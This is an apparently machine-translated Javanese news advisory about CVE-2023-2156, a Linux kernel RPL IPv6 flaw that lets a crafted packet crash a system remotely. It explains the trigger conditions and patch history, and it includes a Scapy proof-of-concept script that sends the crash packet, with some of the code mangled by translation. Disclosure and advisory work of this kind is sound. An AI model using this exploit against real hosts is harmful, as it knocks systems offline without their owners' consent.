0-dina Linux IPv6 kerentanan tumpukan sing ngidini kacilakan kernel remot

Informasi wis dibeberke babagan kerentanan (0-dina) sing ora dikoreksi (CVE-2023-2156) ing kernel Linux, sing ngidini kanggo mungkasi sistem kasebut kanthi ngirim paket IPv6 sing dirancang khusus (packet-of-death). Masalah kasebut mung katon nalika dhukungan kanggo protokol RPL (Routing Protocol for Low-Power and Lossy Networks) diaktifake, sing dipateni kanthi standar ing distribusi lan digunakake utamane ing piranti sing dipasang ing jaringan nirkabel kanthi mundhut paket dhuwur.

Kerentanan kasebut disebabake dening pangolahan data eksternal sing salah ing kode parsing protokol RPL, sing ndadΓ©kakΓ© kegagalan lan kernel dadi panik. Nalika nempatake data sing dipikolehi saka parsing header paket IPv6 RPL ing struktur k_buff (Socket Buffer), yen kolom CmprI disetel dadi 15, kolom Segleft dadi 1, lan CmprE dadi 0, vektor 48-byte kanthi alamat decompressed. kanggo 528 bait lan katon kahanan ngendi memori diparengake kanggo buffer ora cukup. Ing kasus iki, fungsi skb_push, digunakake kanggo push data menyang struktur, mriksa incommensurability antarane ukuran data lan buffer, ngasilaken negara gupuh kanggo nyegah nulis ngluwihi wates buffer.

Conto exploit: # Kita bakal nggunakake Scapy kanggo nggawe paket saka scapy.all import * socket import # Gunakake IPv6 saka antarmuka LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Kita nggunakake soket kanggo ngirim paket sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 ndadekake iki paket RPL # Alamat ngemot 3 alamat, nanging amarga CmprI 15, # saben oktet saka rong alamat pisanan dianggep minangka alamat sing dikompres # Segleft = 1 kanggo micu amplifikasi # lastentry = 0xf0 nyetel CmprI dadi 15 lan CmprE dadi 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[β€œa8 :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Kirimi paket jahat iki sockfd.sendto(byte(p), (DST_ADDR, 0))

Wigati dicathet yen pangembang kernel diwenehi kabar babagan kerentanan kasebut ing Januari 2022 lan sajrone 15 wulan kepungkur, dheweke wis nyoba ndandani masalah kasebut kaping telu, ngeculake patch ing September 2022, Oktober 2022 lan April 2023, nanging saben-saben ndandani ora cukup lan kerentanan ora bisa diprodhuksi maneh. Pungkasane, proyek ZDI, sing koordinasi karya kanggo ndandani kerentanan kasebut, mutusake kanggo ngeculake informasi rinci babagan kerentanan kasebut tanpa ngenteni perbaikan sing bisa digunakake ing kernel.

Mangkono, kerentanan isih tetep unfixed. Utamane, tembelan sing kalebu ing kernel 6.4-rc2 ora efektif. Pangguna disaranake mriksa manawa protokol RPL ora digunakake ing sistem, sing bisa ditindakake kanthi nggunakake perintah sysctl -a | grep -i rpl_seg_enabled

Source: opennet.ru

Add a comment